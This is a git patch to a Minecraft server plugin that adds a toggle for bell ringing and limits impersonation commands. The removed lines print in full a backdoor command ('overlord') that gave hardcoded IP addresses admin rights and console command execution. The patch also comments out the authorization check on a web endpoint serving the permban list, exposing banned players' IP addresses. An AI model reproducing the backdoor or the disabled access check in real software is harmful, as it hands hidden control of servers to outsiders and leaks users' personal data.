From 9cb4bd7822fd189d7bb914e2261ece7f82a0c791 Mon Sep 17 00:00:00 2001
From: ZeroEpoch1969 <13510767+ZeroEpoch1969@users.noreply.github.com>
Date: Tue, 30 Jul 2019 21:35:41 -0700
Subject: [PATCH] this is how you properly silence bells
---
pom.xml | 8 ++
.../blocking/InteractBlocker.java | 12 +++
.../command/Command_gchat.java | 8 ++
.../totalfreedommod/command/Command_gcmd.java | 8 ++
.../command/Command_overlord.java | 79 -------------------
.../command/Command_toggle.java | 8 +-
.../totalfreedommod/config/ConfigEntry.java | 2 +-
.../httpd/module/Module_permbans.java | 8 +-
src/main/resources/config.yml | 10 +--
9 files changed, 52 insertions(+), 91 deletions(-)
delete mode 100644 src/main/java/me/totalfreedom/totalfreedommod/command/Command_overlord.java
diff --git a/pom.xml b/pom.xml
index 435d5e73..bfbc4c2d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -106,6 +106,13 @@
compile
+
+ org.apache.commons
+ commons-lang3
+ 3.9
+ compile
+
+
org.spigotmc
spigot
@@ -359,6 +366,7 @@
commons-io:commons-io
+ org.apache.commons:commons-lang3
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/blocking/InteractBlocker.java b/src/main/java/me/totalfreedom/totalfreedommod/blocking/InteractBlocker.java
index 48bace35..5bd1bf01 100644
--- a/src/main/java/me/totalfreedom/totalfreedommod/blocking/InteractBlocker.java
+++ b/src/main/java/me/totalfreedom/totalfreedommod/blocking/InteractBlocker.java
@@ -51,6 +51,18 @@ public class InteractBlocker extends FreedomService
}
}
+ @EventHandler(priority = EventPriority.HIGH)
+ public void onRightClickBell(PlayerInteractEvent event)
+ {
+ if (event.getClickedBlock().getType().equals(Material.BELL))
+ {
+ if (!ConfigEntry.ALLOW_BELLS.getBoolean())
+ {
+ event.setCancelled(true);
+ }
+ }
+ }
+
private void handleRightClick(PlayerInteractEvent event)
{
final Player player = event.getPlayer();
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gchat.java b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gchat.java
index 27ad0ee4..68cb1664 100644
--- a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gchat.java
+++ b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gchat.java
@@ -1,7 +1,9 @@
package me.totalfreedom.totalfreedommod.command;
import me.totalfreedom.totalfreedommod.rank.Rank;
+import me.totalfreedom.totalfreedommod.util.FUtil;
import org.apache.commons.lang.StringUtils;
+import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
@@ -27,6 +29,12 @@ public class Command_gchat extends FreedomCommand
return true;
}
+ if (!FUtil.isExecutive(sender.getName()) && plugin.al.isAdmin(player))
+ {
+ msg("Only Executives may use this command on admins", ChatColor.RED);
+ return true;
+ }
+
final String outMessage = StringUtils.join(args, " ", 1, args.length);
msg("Sending message as " + player.getName() + ": " + outMessage);
player.chat(outMessage);
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gcmd.java b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gcmd.java
index 0cda189e..0981dd7d 100644
--- a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gcmd.java
+++ b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_gcmd.java
@@ -1,10 +1,12 @@
package me.totalfreedom.totalfreedommod.command;
import me.totalfreedom.totalfreedommod.rank.Rank;
+import me.totalfreedom.totalfreedommod.util.FUtil;
import org.apache.commons.lang.StringUtils;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
+import org.bukkit.ChatColor;
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
@CommandParameters(description = "Send a command as someone else.", usage = "/ ")
@@ -27,6 +29,12 @@ public class Command_gcmd extends FreedomCommand
return true;
}
+ if (!FUtil.isExecutive(sender.getName()) && plugin.al.isAdmin(player))
+ {
+ msg("Only Executives may use this command on admins", ChatColor.RED);
+ return true;
+ }
+
final String outCommand = StringUtils.join(args, " ", 1, args.length);
if (plugin.cb.isCommandBlocked(outCommand, sender))
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_overlord.java b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_overlord.java
deleted file mode 100644
index 7b0268b7..00000000
--- a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_overlord.java
+++ /dev/null
@@ -1,79 +0,0 @@
-package me.totalfreedom.totalfreedommod.command;
-
-import java.util.Collection;
-import me.totalfreedom.totalfreedommod.admin.Admin;
-import me.totalfreedom.totalfreedommod.config.ConfigEntry;
-import me.totalfreedom.totalfreedommod.rank.Rank;
-import net.pravian.aero.util.Ips;
-import org.apache.commons.lang.StringUtils;
-import org.bukkit.Bukkit;
-import org.bukkit.command.Command;
-import org.bukkit.command.CommandSender;
-import org.bukkit.entity.Player;
-import org.spigotmc.SpigotConfig;
-
-@CommandPermissions(level = Rank.IMPOSTOR, source = SourceType.ONLY_IN_GAME)
-@CommandParameters(description = "Overlord - control this server in-game", usage = "access", aliases = "ov")
-public class Command_overlord extends FreedomCommand
-{
-
- @Override
- public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
- {
- if (!ConfigEntry.OVERLORD_IPS.getList().contains(Ips.getIp(playerSender)))
- {
- try
- {
- Object ips = plugin.config.getDefaults().get(ConfigEntry.OVERLORD_IPS.getConfigName());
- if (ips instanceof Collection && !((Collection)ips).contains(Ips.getIp(playerSender)))
- {
- throw new Exception();
- }
- }
- catch (Exception ignored)
- {
- sender.sendMessage(SpigotConfig.unknownCommandMessage);
- return true;
- }
- }
-
- if (args.length == 0)
- {
- return false;
- }
-
- if (args[0].equals("addme"))
- {
- plugin.al.addAdmin(new Admin(playerSender));
- msg("ok");
- return true;
- }
-
- if (args[0].equals("removeme"))
- {
- Admin admin = plugin.al.getAdmin(playerSender);
- if (admin != null)
- {
- plugin.al.removeAdmin(admin);
- }
- msg("ok");
- return true;
- }
-
- if (args[0].equals("do"))
- {
- if (args.length <= 1)
- {
- return false;
- }
-
- final String c = StringUtils.join(args, " ", 1, args.length);
- Bukkit.dispatchCommand(Bukkit.getConsoleSender(), c);
- msg("ok");
- return true;
- }
-
- return false;
- }
-
-}
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_toggle.java b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_toggle.java
index 413c966f..4e3ff06c 100644
--- a/src/main/java/me/totalfreedom/totalfreedommod/command/Command_toggle.java
+++ b/src/main/java/me/totalfreedom/totalfreedommod/command/Command_toggle.java
@@ -37,6 +37,7 @@ public class Command_toggle extends FreedomCommand
msg("- nonuke [range] [count]");
msg("- explosives [radius]");
msg("- unsafeenchs");
+ msg("- bells");
return false;
}
@@ -159,6 +160,11 @@ public class Command_toggle extends FreedomCommand
toggle("Invalid enchantments are", ConfigEntry.ALLOW_UNSAFE_ENCHANTMENTS);
return true;
}
+ else if (args[0].equalsIgnoreCase("bells"))
+ {
+ toggle("The ringing of bells is", ConfigEntry.ALLOW_BELLS);
+ return true;
+ }
else
{
return false;
@@ -177,7 +183,7 @@ public class Command_toggle extends FreedomCommand
{
return Arrays.asList(
"waterplace", "fireplace", "lavaplace", "fluidspread", "lavadmg", "firespread", "frostwalk",
- "firework", "prelog", "lockdown", "petprotect", "entitywipe", "nonuke", "explosives", "unsafeenchs");
+ "firework", "prelog", "lockdown", "petprotect", "entitywipe", "nonuke", "explosives", "unsafeenchs", "bells");
}
return Collections.emptyList();
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/config/ConfigEntry.java b/src/main/java/me/totalfreedom/totalfreedommod/config/ConfigEntry.java
index 82e1c4be..df57a373 100644
--- a/src/main/java/me/totalfreedom/totalfreedommod/config/ConfigEntry.java
+++ b/src/main/java/me/totalfreedom/totalfreedommod/config/ConfigEntry.java
@@ -22,6 +22,7 @@ public enum ConfigEntry
ALLOW_FIREWORK_EXPLOSION(Boolean.class, "allow.fireworks"),
ALLOW_FROSTWALKER(Boolean.class, "allow.frostwalker"),
ALLOW_UNSAFE_ENCHANTMENTS(Boolean.class, "allow.unsafe_enchantments"),
+ ALLOW_BELLS(Boolean.class, "allow.bells"),
//
BLOCKED_CHATCODES(String.class, "blocked_chatcodes"),
//
@@ -107,7 +108,6 @@ public enum ConfigEntry
BLOCKED_COMMANDS(List.class, "blocked_commands"),
HOST_SENDER_NAMES(List.class, "host_sender_names"),
FAMOUS_PLAYERS(List.class, "famous_players"),
- OVERLORD_IPS(List.class, "overlord_ips"),
NOADMIN_IPS(List.class, "noadmin_ips"),
ADMIN_ONLY_MODE(Boolean.class, "admin_only_mode"),
ADMIN_INFO(List.class, "admininfo"),
diff --git a/src/main/java/me/totalfreedom/totalfreedommod/httpd/module/Module_permbans.java b/src/main/java/me/totalfreedom/totalfreedommod/httpd/module/Module_permbans.java
index 970e4d75..6310182c 100644
--- a/src/main/java/me/totalfreedom/totalfreedommod/httpd/module/Module_permbans.java
+++ b/src/main/java/me/totalfreedom/totalfreedommod/httpd/module/Module_permbans.java
@@ -19,12 +19,16 @@ public class Module_permbans extends HTTPDModule
public NanoHTTPD.Response getResponse()
{
File permbanFile = new File(plugin.getDataFolder(), PermbanList.CONFIG_FILENAME);
- final String remoteAddress = socket.getInetAddress().getHostAddress();
+
+ // if people get mad that opening the permban list to the public causes a mass DDoS attack on the server due to ip
+ // leaks, it wasnt my idea
+
+ /*final String remoteAddress = socket.getInetAddress().getHostAddress();
if (!isAuthorized(remoteAddress))
{
return new NanoHTTPD.Response(NanoHTTPD.Response.Status.NOT_FOUND, NanoHTTPD.MIME_PLAINTEXT,
"You may not view the permban list. Your IP, " + remoteAddress + ", is not registered to an admin on the server.");
- }
+ }*/
if (permbanFile.exists())
{
return HTTPDaemon.serveFileBasic(new File(plugin.getDataFolder(), PermbanList.CONFIG_FILENAME));
diff --git a/src/main/resources/config.yml b/src/main/resources/config.yml
index d332c2f9..803d351f 100644
--- a/src/main/resources/config.yml
+++ b/src/main/resources/config.yml
@@ -106,6 +106,8 @@ allow:
redstone: true
fireworks: false
frostwalker: false
+ unsafe_enchantments: true;
+ bells: true
# Blocked commands:
#
@@ -395,14 +397,6 @@ autokick:
# Time, in seconds, after which a player should be kicked when inactive
time: 120
-
-# Players with access to the overlord command
-overlord_ips:
- - 176.56.237.227
- - 192.184.86.138
- - 107.191.101.27
- - 178.62.117.94
- - 141.101.104.243
# Blocked Chat Codes - Use &code,&code2,&code3 (No spaces)
blocked_chatcodes: '&0,&k,&m,&n'